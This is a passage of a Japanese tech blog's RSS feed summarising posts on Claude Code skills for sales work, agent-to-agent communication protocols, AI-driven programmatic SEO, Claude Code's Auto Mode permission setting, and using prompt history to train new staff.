&lt;p&gt;autoresearch のエージェントとして動作するLLM自体は外部モデルを使用する。Karpathy のテストでは Claude や GPT 系モデルが使われている。&lt;/p&gt;</description></item><item><title>営業向けClaude Code活用術：/mtg-prepで商談準備が5分で終わる世界線</title><link>https://hdknr.github.io/blogs/posts/2026/03/%E5%96%B6%E6%A5%AD%E5%90%91%E3%81%91claude-code%E6%B4%BB%E7%94%A8%E8%A1%93/mtg-prep%E3%81%A7%E5%95%86%E8%AB%87%E6%BA%96%E5%82%99%E3%81%8C5%E5%88%86%E3%81%A7%E7%B5%82%E3%82%8F%E3%82%8B%E4%B8%96%E7%95%8C%E7%B7%9A/</link><pubDate>Fri, 13 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/%E5%96%B6%E6%A5%AD%E5%90%91%E3%81%91claude-code%E6%B4%BB%E7%94%A8%E8%A1%93/mtg-prep%E3%81%A7%E5%95%86%E8%AB%87%E6%BA%96%E5%82%99%E3%81%8C5%E5%88%86%E3%81%A7%E7%B5%82%E3%82%8F%E3%82%8B%E4%B8%96%E7%95%8C%E7%B7%9A/</guid><description>&lt;p&gt;DAIJOBU CEO の山中裕貴（&lt;a href="https://x.com/0xfene"&gt;@0xfene&lt;/a&gt;）氏が、Claude Code のカスタムスキル機能を営業業務に活用し、商談準備を劇的に効率化した事例を紹介している。&lt;/p&gt;
&lt;h2 id="従来の商談準備の課題"&gt;従来の商談準備の課題&lt;/h2&gt;
&lt;p&gt;営業担当者の商談サイクルには、以下のような時間のかかるタスクが含まれる：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;商談前&lt;/strong&gt;: 30分〜1時間かけて Gmail・Slack・議事録ツールから過去のやり取りを手動で情報収集&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;商談中&lt;/strong&gt;: 準備不足で焦ることがある&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;商談後&lt;/strong&gt;: 15〜20分かけてフォローメールを作成&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="claude-code-スキルによる自動化"&gt;Claude Code スキルによる自動化&lt;/h2&gt;
&lt;p&gt;山中氏は Claude Code のスキル機能（&lt;code&gt;.claude/skills/&lt;/code&gt; 配下にプロンプトを定義する仕組み）を使い、営業ワークフロー全体を自動化した。&lt;/p&gt;
&lt;h3 id="mtg-prep--商談準備の自動化"&gt;&lt;code&gt;/mtg-prep&lt;/code&gt; — 商談準備の自動化&lt;/h3&gt;
&lt;p&gt;&lt;code&gt;/mtg-prep&lt;/code&gt; コマンドを実行すると、複数の AI エージェントが並行稼働し、以下の情報を 2〜3分で収集・整理する：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;過去のやり取り&lt;/strong&gt;: Gmail、Slack、Circleback（AI 議事録サービス）から顧客との過去のコミュニケーションを取得&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;顧客調査&lt;/strong&gt;: 企業情報、業界動向のリサーチ&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;競合調査&lt;/strong&gt;: 競合他社の状況を自動調査&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;提案ドラフト&lt;/strong&gt;: 確認事項、提案の方向性、想定質問、フォローアップのアクションプランを整理&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;結果はマークダウンファイルとしてローカルに保存される。&lt;/p&gt;
&lt;h3 id="follow-up--商談後フォローの自動化"&gt;&lt;code&gt;/follow-up&lt;/code&gt; — 商談後フォローの自動化&lt;/h3&gt;
&lt;p&gt;商談終了直後に &lt;code&gt;/follow-up&lt;/code&gt; コマンドを実行すると、商談の内容を踏まえたフォローメールが 2〜3分で自動生成される。記憶が鮮明なうちに具体的な内容を含んだメールを送れるのがポイントだ。&lt;/p&gt;
&lt;h3 id="export-gdoc--ドキュメント共有"&gt;&lt;code&gt;/export-gdoc&lt;/code&gt; — ドキュメント共有&lt;/h3&gt;
&lt;p&gt;作成されたマークダウンファイルを Google ドキュメントに変換し、Notion スタイルの統一されたデザインで社内共有やクライアントへの提案に活用できる。&lt;/p&gt;
&lt;h2 id="導入効果"&gt;導入効果&lt;/h2&gt;
&lt;p&gt;山中氏によると、Claude Code 導入後は &lt;strong&gt;体感で 3〜5倍の商談量を品質を下げずに捌ける&lt;/strong&gt; ようになったという。&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;項目&lt;/th&gt;
&lt;th&gt;導入前&lt;/th&gt;
&lt;th&gt;導入後&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;商談準備&lt;/td&gt;
&lt;td&gt;30分〜1時間&lt;/td&gt;
&lt;td&gt;2〜3分（&lt;code&gt;/mtg-prep&lt;/code&gt;）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;商談中&lt;/td&gt;
&lt;td&gt;準備不足で焦る場面も&lt;/td&gt;
&lt;td&gt;相手の話に集中できる&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;フォローメール&lt;/td&gt;
&lt;td&gt;15〜20分&lt;/td&gt;
&lt;td&gt;2〜3分（&lt;code&gt;/follow-up&lt;/code&gt;）&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2 id="claude-code-スキルの仕組み"&gt;Claude Code スキルの仕組み&lt;/h2&gt;
&lt;p&gt;Claude Code のスキル機能は、プロジェクトの &lt;code&gt;.claude/skills/&lt;/code&gt; ディレクトリにマークダウンファイルとしてプロンプトを定義する。&lt;code&gt;/スキル名&lt;/code&gt; でスラッシュコマンドとして呼び出せるため、営業担当者でも簡単に利用できる。&lt;/p&gt;</description></item><item><title>AIエージェント同士をつなぐRelay基盤 — 会話とtransportを分離するアーキテクチャ</title><link>https://hdknr.github.io/blogs/posts/2026/03/ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E5%90%8C%E5%A3%AB%E3%82%92%E3%81%A4%E3%81%AA%E3%81%90relay%E5%9F%BA%E7%9B%A4-%E4%BC%9A%E8%A9%B1%E3%81%A8transport%E3%82%92%E5%88%86%E9%9B%A2%E3%81%99%E3%82%8B%E3%82%A2%E3%83%BC%E3%82%AD%E3%83%86%E3%82%AF%E3%83%81%E3%83%A3/</link><pubDate>Thu, 12 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ai%E3%82%A8%E3%83%BC%E3%82%B8%E3%82%A7%E3%83%B3%E3%83%88%E5%90%8C%E5%A3%AB%E3%82%92%E3%81%A4%E3%81%AA%E3%81%90relay%E5%9F%BA%E7%9B%A4-%E4%BC%9A%E8%A9%B1%E3%81%A8transport%E3%82%92%E5%88%86%E9%9B%A2%E3%81%99%E3%82%8B%E3%82%A2%E3%83%BC%E3%82%AD%E3%83%86%E3%82%AF%E3%83%81%E3%83%A3/</guid><description>&lt;p&gt;AIエージェントが単独で動く時代から、複数のエージェントが協調して動く時代へ移行しつつある。エージェント間の通信を設計するとき、「会話（何を話すか）」と「transport（どう届けるか）」を分離する考え方が重要になっている。本記事では、2026年に整備が進むエージェント間通信プロトコルの全体像と、Relay基盤のアーキテクチャを整理する。&lt;/p&gt;
&lt;h2 id="なぜ会話とtransportを分離するのか"&gt;なぜ「会話」と「transport」を分離するのか&lt;/h2&gt;
&lt;p&gt;AIエージェント同士が会話する際、2つの関心事が混在しがちだ:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;会話層&lt;/strong&gt;: タスクの依頼、進捗報告、結果の返却といった「意味のあるやりとり」&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;transport層&lt;/strong&gt;: HTTP、gRPC、WebSocket、SSE といった「届ける仕組み」&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;これらを密結合にすると、transport を変更するたびに会話ロジックを書き直す必要が生じる。たとえば、開発時は HTTP で通信していたエージェントを、本番では gRPC に切り替えたいケースや、ローカルの関数呼び出しからリモートの API 呼び出しに切り替えたいケースがある。&lt;/p&gt;
&lt;p&gt;分離することで、エージェントのビジネスロジック（会話）は transport に依存せず、transport の差し替えが容易になる。&lt;/p&gt;
&lt;h2 id="2026年のエージェント間通信プロトコル"&gt;2026年のエージェント間通信プロトコル&lt;/h2&gt;
&lt;p&gt;現在、エージェント通信の標準化が急速に進んでいる。主要なプロトコルは以下の通り。&lt;/p&gt;
&lt;h3 id="mcpmodel-context-protocol"&gt;MCP（Model Context Protocol）&lt;/h3&gt;
&lt;p&gt;Anthropic が策定したプロトコルで、&lt;strong&gt;エージェントと外部ツール/リソース&lt;/strong&gt;の接続を標準化する。API、ファイルシステム、データベースへのアクセスを統一的なインターフェースで提供する。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;役割: ツール・コンテキスト層&lt;/li&gt;
&lt;li&gt;transport: RESTful サーバー経由の構造化データ交換&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;エージェント → MCP サーバー → 外部ツール（DB, API, ファイル）
&lt;/code&gt;&lt;/pre&gt;&lt;h3 id="a2aagent-to-agent-protocol"&gt;A2A（Agent-to-Agent Protocol）&lt;/h3&gt;
&lt;p&gt;Google が主導し、50社以上のパートナーが参加するオープン標準。&lt;strong&gt;エージェント同士&lt;/strong&gt;のピアツーピア通信とタスク委譲を実現する。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;役割: エージェント間通信層&lt;/li&gt;
&lt;li&gt;transport: HTTPS 上の JSON-RPC 2.0 + SSE（ストリーミング）&lt;/li&gt;
&lt;li&gt;通信モデル: クライアントエージェント → リモートエージェント&lt;/li&gt;
&lt;/ul&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;クライアントエージェント ──JSON-RPC──→ リモートエージェント
←──SSE────
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;A2A の特徴は、エージェントの内部メモリ、ツール、ロジックを共有せずに協調できる点。発見（Discovery）→ 認可（Authorization）→ 通信（Communication）の3段階で動作する。&lt;/p&gt;
&lt;h3 id="acpagent-communication-platform"&gt;ACP（Agent Communication Platform）&lt;/h3&gt;
&lt;p&gt;REST ベースの通信とエージェントレジストリを組み合わせたプラットフォーム。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;役割: レジストリ駆動の通信基盤&lt;/li&gt;
&lt;li&gt;transport: REST インターフェース&lt;/li&gt;
&lt;li&gt;特徴: ステートフルなメッセージルーティングでコンテキストを保持&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="anpagent-network-protocol"&gt;ANP（Agent Network Protocol）&lt;/h3&gt;
&lt;p&gt;インターネット規模のエージェント協調を想定したプロトコル。&lt;/p&gt;</description></item><item><title>AIプログラマティックSEO：JSON Schemaで13,000ページを3時間で生成し、トラフィックを5.7倍にした手法</title><link>https://hdknr.github.io/blogs/posts/2026/03/ai%E3%83%97%E3%83%AD%E3%82%B0%E3%83%A9%E3%83%9E%E3%83%86%E3%82%A3%E3%83%83%E3%82%AFseojson-schema%E3%81%A713000%E3%83%9A%E3%83%BC%E3%82%B8%E3%82%923%E6%99%82%E9%96%93%E3%81%A7%E7%94%9F%E6%88%90%E3%81%97%E3%83%88%E3%83%A9%E3%83%95%E3%82%A3%E3%83%83%E3%82%AF%E3%82%925.7%E5%80%8D%E3%81%AB%E3%81%97%E3%81%9F%E6%89%8B%E6%B3%95/</link><pubDate>Thu, 12 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/ai%E3%83%97%E3%83%AD%E3%82%B0%E3%83%A9%E3%83%9E%E3%83%86%E3%82%A3%E3%83%83%E3%82%AFseojson-schema%E3%81%A713000%E3%83%9A%E3%83%BC%E3%82%B8%E3%82%923%E6%99%82%E9%96%93%E3%81%A7%E7%94%9F%E6%88%90%E3%81%97%E3%83%88%E3%83%A9%E3%83%95%E3%82%A3%E3%83%83%E3%82%AF%E3%82%925.7%E5%80%8D%E3%81%AB%E3%81%97%E3%81%9F%E6%89%8B%E6%B3%95/</guid><description>&lt;p&gt;SEO・コンテンツマーケティングの専門家 Jake Ward 氏が、AI とプログラマティック SEO を組み合わせて &lt;strong&gt;60日間で SEO トラフィックを466%（5.7倍）増加&lt;/strong&gt; させた手法が注目を集めています。13,000ページ以上をわずか3時間で生成し、週間オーガニッククリックを971から5,500に伸ばした具体的なアプローチを解説します。&lt;/p&gt;
&lt;h2 id="成果の概要"&gt;成果の概要&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;13,000+ ページ&lt;/strong&gt;を3時間で生成&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;週間オーガニッククリック&lt;/strong&gt;: 971 → 5,500（+466%）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;60日間&lt;/strong&gt;で達成&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="従来のプログラマティック-seo-との違い"&gt;従来のプログラマティック SEO との違い&lt;/h2&gt;
&lt;p&gt;従来のプログラマティック SEO は、テンプレートの単語を置換するだけのものが多く、低品質なページが量産される問題がありました。Jake Ward 氏のアプローチは、AI にフリーフォームでコンテンツを書かせるのではなく、&lt;strong&gt;厳密な JSON Schema を埋め込む&lt;/strong&gt;ことで品質を担保しています。&lt;/p&gt;
&lt;h2 id="3つの核心ポイント"&gt;3つの核心ポイント&lt;/h2&gt;
&lt;h3 id="1-json-schema-によるコンテンツ構造化"&gt;1. JSON Schema によるコンテンツ構造化&lt;/h3&gt;
&lt;p&gt;最も重要な技術的要素が、AI への指示に厳密な JSON Schema を使うことです。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 1
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 2
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 3
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 4
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 5
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 6
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 7
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 8
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt; 9
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;10
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;11
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;12
&lt;/span&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;13
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-json" data-lang="json"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;section_title&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;string&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;items&amp;#34;&lt;/span&gt;: [
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;name&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;string&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;description&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;string (50-100 words)&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;difficulty_level&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;beginner | intermediate | advanced&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;potential_score&amp;#34;&lt;/span&gt;: &lt;span style="color:#e6db74"&gt;&amp;#34;number (1-10)&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; ],
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;min_items&amp;#34;&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;15&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#f92672"&gt;&amp;#34;max_items&amp;#34;&lt;/span&gt;: &lt;span style="color:#ae81ff"&gt;20&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;AI にフリーフォームの文章を書かせると、ページごとに品質がばらつきます。JSON Schema で出力形式を固定することで、13,000ページ全体で一貫した品質を維持できます。&lt;/p&gt;</description></item><item><title>Claude Code に Auto Mode が登場 — 許可プロンプトなしで長時間タスクを実行</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%AB-auto-mode-%E3%81%8C%E7%99%BB%E5%A0%B4-%E8%A8%B1%E5%8F%AF%E3%83%97%E3%83%AD%E3%83%B3%E3%83%97%E3%83%88%E3%81%AA%E3%81%97%E3%81%A7%E9%95%B7%E6%99%82%E9%96%93%E3%82%BF%E3%82%B9%E3%82%AF%E3%82%92%E5%AE%9F%E8%A1%8C/</link><pubDate>Thu, 12 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%AB-auto-mode-%E3%81%8C%E7%99%BB%E5%A0%B4-%E8%A8%B1%E5%8F%AF%E3%83%97%E3%83%AD%E3%83%B3%E3%83%97%E3%83%88%E3%81%AA%E3%81%97%E3%81%A7%E9%95%B7%E6%99%82%E9%96%93%E3%82%BF%E3%82%B9%E3%82%AF%E3%82%92%E5%AE%9F%E8%A1%8C/</guid><description>&lt;p&gt;Anthropic が Claude Code にリサーチプレビューとして「Auto Mode」を導入しました。&lt;code&gt;claude --permission-mode auto&lt;/code&gt; で起動すると、ツール使用の許可判断を Claude 自身が行い、開発者の手動承認なしで長時間の連続作業が可能になります。&lt;/p&gt;
&lt;h2 id="auto-mode-とは"&gt;Auto Mode とは&lt;/h2&gt;
&lt;p&gt;従来の Claude Code では、ファイルの書き込みやシェルコマンドの実行のたびに許可プロンプトが表示されていました。これは安全性の面では重要ですが、長時間のタスクでは開発フローが頻繁に中断される原因になっていました。&lt;/p&gt;
&lt;p&gt;Auto Mode はこの問題に対処するもので、各操作について Claude 自身がリスクを判断し、安全と判断した操作は自動で承認します。&lt;/p&gt;
&lt;h2 id="使い方"&gt;使い方&lt;/h2&gt;
&lt;p&gt;起動時にフラグを指定します:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;
&lt;table style="border-spacing:0;padding:0;margin:0;border:0;"&gt;&lt;tr&gt;&lt;td style="vertical-align:top;padding:0;margin:0;border:0;"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code&gt;&lt;span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"&gt;1
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;
&lt;td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"&gt;
&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;claude --permission-mode auto
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;p&gt;または、セッション中に &lt;code&gt;Shift+Tab&lt;/code&gt; で許可モードを切り替えることもできます。&lt;/p&gt;
&lt;h2 id="既存の許可モードとの比較"&gt;既存の許可モードとの比較&lt;/h2&gt;
&lt;p&gt;Claude Code には複数の許可モードがあります:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;モード&lt;/th&gt;
&lt;th&gt;動作&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Normal&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;操作ごとに許可を求める（デフォルト）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Auto-accept edit&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;ファイル編集は自動承認、シェルコマンドは確認&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Auto Mode&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Claude がリスク判断して自動承認（新機能）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Plan&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;読み取り専用、変更は一切行わない&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Auto Mode は &lt;code&gt;--dangerously-skip-permissions&lt;/code&gt; のような全許可フラグとは異なり、Claude がリスク分類を行った上で判断するため、安全性と利便性のバランスを取ったアプローチです。&lt;/p&gt;
&lt;h2 id="セキュリティ上の注意点"&gt;セキュリティ上の注意点&lt;/h2&gt;
&lt;p&gt;Auto Mode は万能ではありません。Anthropic は以下の点を注意喚起しています:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;隔離環境での使用を推奨&lt;/strong&gt;: 本番環境の認証情報やライブ API へのアクセスがあるマシンでは使わない&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;プロンプトインジェクション対策&lt;/strong&gt;: ファイルやコマンド出力内の悪意ある指示から保護する機能を搭載&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;トークン使用量の増加&lt;/strong&gt;: リスク判断のオーバーヘッドにより、若干のコスト・レイテンシ増加がある&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="組織での管理"&gt;組織での管理&lt;/h2&gt;
&lt;p&gt;IT 管理者は Auto Mode を制限することもできます:&lt;/p&gt;</description></item><item><title>Claude Code の Skills でプロンプト履歴を分析し、新人教育に活用する</title><link>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%AE-skills-%E3%81%A7%E3%83%97%E3%83%AD%E3%83%B3%E3%83%97%E3%83%88%E5%B1%A5%E6%AD%B4%E3%82%92%E5%88%86%E6%9E%90%E3%81%97%E6%96%B0%E4%BA%BA%E6%95%99%E8%82%B2%E3%81%AB%E6%B4%BB%E7%94%A8%E3%81%99%E3%82%8B/</link><pubDate>Thu, 12 Mar 2026 00:00:00 +0000</pubDate><guid>https://hdknr.github.io/blogs/posts/2026/03/claude-code-%E3%81%AE-skills-%E3%81%A7%E3%83%97%E3%83%AD%E3%83%B3%E3%83%97%E3%83%88%E5%B1%A5%E6%AD%B4%E3%82%92%E5%88%86%E6%9E%90%E3%81%97%E6%96%B0%E4%BA%BA%E6%95%99%E8%82%B2%E3%81%AB%E6%B4%BB%E7%94%A8%E3%81%99%E3%82%8B/</guid><description>&lt;p&gt;Claude Code の Skills 機能を使って、過去のプロンプト入力履歴をスキャンし、利用者が「何を分かっていて、何を分かっていないか」を可視化する仕組みが紹介されていました。プロンプトを通じた新人教育の可能性を探ります。&lt;/p&gt;
&lt;h2 id="アイデアの概要"&gt;アイデアの概要&lt;/h2&gt;
&lt;p&gt;&lt;a href="https://x.com/tokoroten/status/2031984056372756633"&gt;@tokoroten氏のポスト&lt;/a&gt;で紹介されたアプローチは以下の通りです:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Claude Code の Skills を利用&lt;/strong&gt;して、過去のプロンプト入力履歴をスキャンする&lt;/li&gt;
&lt;li&gt;その履歴から、利用者が&lt;strong&gt;何を理解していて、何を理解していないか&lt;/strong&gt;を分析・出力する&lt;/li&gt;
&lt;li&gt;結果として、&lt;strong&gt;どの技術分野の理解が甘いか&lt;/strong&gt;が可視化される&lt;/li&gt;
&lt;li&gt;これにより、&lt;strong&gt;プロンプトを通じた新人教育&lt;/strong&gt;が可能になる&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 id="claude-code-skills-とは"&gt;Claude Code Skills とは&lt;/h2&gt;
&lt;p&gt;Claude Code の Skills は、再利用可能なプロンプトテンプレートをプロジェクト内に定義できる機能です。&lt;code&gt;.claude/skills/&lt;/code&gt; ディレクトリにスキル定義を配置することで、&lt;code&gt;/スキル名&lt;/code&gt; のようなスラッシュコマンドとして呼び出せます。&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;.claude/
skills/
analyze-prompts/
skill.md # スキルの定義・プロンプト
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;スキルには以下のような特徴があります:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;プロジェクト固有のワークフロー&lt;/strong&gt;を定義できる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;引数を受け取る&lt;/strong&gt;ことが可能&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;複数のツール呼び出し&lt;/strong&gt;を組み合わせた複雑な処理を自動化できる&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="プロンプト履歴から理解度を分析する仕組み"&gt;プロンプト履歴から理解度を分析する仕組み&lt;/h2&gt;
&lt;p&gt;このアプローチの面白いところは、プロンプト（質問）の内容自体が「その人が何を知らないか」の強力なシグナルになるという点です。&lt;/p&gt;
&lt;h3 id="分析の観点"&gt;分析の観点&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;質問の頻度&lt;/strong&gt;: 特定の技術領域について繰り返し質問しているなら、その分野の理解が浅い可能性が高い&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;質問の深さ&lt;/strong&gt;: 基本的な概念を聞いているのか、応用的な質問をしているのかで理解度が測れる&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;自己解決率&lt;/strong&gt;: 同じトピックの質問が減っていれば、学習が進んでいると判断できる&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="教育への応用"&gt;教育への応用&lt;/h3&gt;
&lt;p&gt;従来の新人教育では、メンターが1対1でレビューしたり、定期的な面談で理解度を確認したりする必要がありました。このアプローチでは:&lt;/p&gt;
&lt;ul&gt;
